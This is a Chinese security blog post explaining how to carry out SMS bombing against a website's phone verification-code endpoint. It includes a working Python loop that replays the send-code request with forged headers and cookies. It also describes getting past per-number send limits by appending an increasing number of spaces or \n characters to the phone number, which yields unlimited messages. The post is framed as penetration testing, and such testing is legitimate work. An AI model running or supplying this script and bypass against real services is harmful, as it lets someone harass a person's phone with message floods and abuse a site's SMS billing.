短信轰炸之空格或\n绕过

by LauCyun Jan 21 18:23:42 8,405 views

手机验证码在 Web 应用中得到越来越多的应用,通常在用户登陆、用户注册、密码重置等业务模块用手机验证码进行身份验证。常见的手机验证码漏洞如下: 

  • 无效验证
  • 客户端验证绕过
  • 短信轰炸
  • 验证码爆破
  • 验证码与手机号未绑定

本文讲述如何绕过验证码的发送周期、次数和时效,从而造成短信轰炸。

0x0 背景

短信轰炸是手机验证码漏洞中最常见的一种漏洞类型。

在测试的过程中,对短信验证码接口进行重放,导致大量发送恶意短信。

在这里介绍两个案例:

1 无限制


图1 案例1

2 时间限制

如图2所示,每隔60秒可下发一条短信,为此可以无限下发,从而造成短信轰炸。


图2 案例2

在测试过程中,可通过编写Python脚本来实现短信轰炸,如下代码所示:

# coding=utf-8

import json
import requests
import time

phone = "13312345678"
count = 100

start_time = time.time()
i = 0
while i < count:
    url = "http://www.***.com/portal/SendCode"
    data = "Mobile=%s" % phone
    header = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:60.0) Gecko/20100101 Firefox/60.0',
        'Host': 'www.***.com',
        'Accept': '*/*',
        'Accept-Encoding': 'gzip, deflate',
        "Connection": "close",
        'Referer': 'http://www.***.com/portal/login.html',
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        'X-Requested-With': 'XMLHttpRequest',
        'Cookie': 'JSESSIONID=755C19AC30099A8F8DEA46082C7FEA53; '
                  'UM_distinctid=168732dca5834-0e08f806e90c35-4a526f-1aeaa0-168732dca59242; '
                  'CNZZDATA1272820146=1839815313-1548120539-%7C1548120539'
    }
    r = requests.post(url, data=data, headers=header, timeout=5)
    result = json.loads(r.content)
    print(result)
    if int(result.get("res", '0')) == 1:
        print('[%d] Sending success!' % (i + 1))
    i = i + 1
    # print('send %s time' % (i))
    time.sleep(60)

0x1 次数超限

用 Burp Suite 抓包获取发验证码的数据包,然后连续发送这个数据包,结果会提示次数超过限制,如图3所示:


图3 次数超过上限

0x2 空格绕过

关键来了,这个时候在手机号后加一个空格,发现不提示次数超过限制了,并且验证码也发送成功了,如图4所示:


图4 空格绕过

接着继续发包,发现刚刚加空格的手机号又超过限制了,那么试着再加个空格试试,结果又绕过了限制。


图5 空格绕过的方法超限

0x3 \n绕过

通过测试其他字符,发现只有\n空格可绕过,如图6所示:


图6 \n绕过

最后发现,只要持续递增空格或\n就可造成无限短信轰炸。


图7 无限轰炸

Tags